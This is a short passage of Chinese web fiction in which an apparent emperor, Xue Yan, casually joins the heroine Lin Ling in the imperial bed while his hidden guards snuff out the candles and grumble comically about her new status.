待暗卫领命离去,薛琰瞅了瞅还在顺气的林零,毫不客气伸出手将她扒拉到床里面,动作丝滑地上床躺下盖被。 林零被扒拉完一脸震惊地看着自己被窝里多出的男性生物。 不是吧大哥,你怎么这么自然啊,这是你被窝吗! 等等!! 林零后知后觉看着周围一片明黄,这、这还真是他的被窝。 现在收拾收拾回自己床上睡还来得及吗?话说到底是谁把她放龙床上的啊!!! 薛琰面不改色扬声说道:“熄灯”,殿中的暗卫应声运起内力,灯烛骤然而灭。 林零躺在被窝里,一脸麻木:呦,您这灯还是声控的。 躲在殿内各处的暗卫们更是麻木:〇的,大家不是同事吗,您怎么好像要变成老板娘了……